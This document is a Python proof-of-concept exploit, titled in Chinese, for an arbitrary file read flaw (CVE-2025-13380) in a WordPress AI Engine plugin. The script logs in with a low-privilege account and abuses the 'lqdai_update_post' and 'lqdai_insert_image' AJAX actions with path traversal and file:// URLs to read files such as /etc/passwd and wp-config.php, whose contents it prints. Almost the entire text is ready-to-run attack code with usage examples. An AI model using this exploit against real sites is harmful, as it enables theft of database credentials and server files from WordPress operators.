CVE-2025-13380 WordPress AI Engine插件任意文件读取漏洞

import requests import sys # CVE-2025-13380 PoC - WordPress AI Engine Arbitrary File Read # Target: WordPress site with AI Engine plugin <= 1.0.1 def exploit_file_read(target_url, wordpress_url, username, password, file_path): """ Exploit the arbitrary file read vulnerability in AI Engine plugin Args: target_url: Base URL of the WordPress site wordpress_url: WordPress login URL (usually wp-login.php) username: WordPress username with Contributor+ role password: WordPress password file_path: Path to file to read (e.g., /etc/passwd or ../../wp-config.php) """ session = requests.Session() # Step 1: Login to WordPress login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } print(f'[*] Logging in to WordPress as {username}...') resp = session.post(wordpress_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print('[-] Login failed!') return None print('[+] Login successful!') # Step 2: Exploit via lqdai_update_post AJAX endpoint # Method 1: Path traversal via file path parameter ajax_url = f'{target_url}/wp-admin/admin-ajax.php' exploit_data = { 'action': 'lqdai_update_post', 'file_path': file_path # Can use ../../../etc/passwd } print(f'[*] Attempting to read file: {file_path}') resp = session.post(ajax_url, data=exploit_data) if resp.status_code == 200: print(f'[+] Response received (length: {len(resp.text)} bytes)') if resp.text and len(resp.text) > 0: return resp.text # Step 3: Alternative exploitation via insert_image() function # Using file:// protocol to read local files image_url = f'file://{file_path}' exploit_data_v2 = { 'action': 'lqdai_insert_image', 'image_url': image_url } print(f'[*] Trying alternative method with file:// protocol...') resp = session.post(ajax_url, data=exploit_data_v2) if resp.status_code == 200: return resp.text return None if __name__ == '__main__': if len(sys.argv) < 6: print('Usage: python cve-2025-13380.py <target_url> <wp_login_url> <username> <password> <file_path>') print('Example: python cve-2025-13380.py http://example.com http://example.com/wp-login.php admin password ../../../wp-config.php') sys.exit(1) target = sys.argv[1] wp_login = sys.argv[2] user = sys.argv[3] pwd = sys.argv[4] file_path = sys.argv[5] result = exploit_file_read(target, wp_login, user, pwd, file_path) if result: print('\n[+] File content:') print(result) else: print('[-] Failed to read file')